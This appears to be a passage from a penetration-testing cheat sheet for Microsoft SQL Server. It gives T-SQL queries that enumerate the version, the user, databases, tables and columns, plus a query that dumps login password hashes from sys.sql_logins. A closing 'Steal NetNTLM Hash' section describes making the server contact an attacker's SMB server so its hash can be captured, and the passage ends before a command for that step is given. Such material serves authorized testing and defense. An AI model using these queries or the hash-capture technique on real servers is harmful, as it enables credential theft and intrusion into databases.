-- Get version
SELECT @@version;
-- Get username
SELECT user_name();
-- Get databases
SELECT name FROM master.dbo.sysdatabases;
SELECT * FROM information_schema.schemata;
-- Tables from DB
SELECT * FROM information_schema.tables;
-- Columns from table
SELECT * FROM information_schema.columns;
-- List users
SELECT sp.name AS LOGIN, sp.type_desc AS LOGIN_TYPE, sl.password_hash, sp.create_date, sp.modify_date, CASE WHEN sp.is_disabled = 1 THEN "Disabled" ELSE "Enabled" END AS STATUS FROM sys.server_principals sp LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id WHERE sp.type NOT IN ("G", "R") ORDER BY sp.name;
-- Users and roles
SELECT * FROM sys.database_principals;
Steal NetNTLM Hash
When executing a command on the SQL server which requests resources from the attacker's SMB server, the hash will be captured on that server.
Start an SMB server to capture hash upon request (local).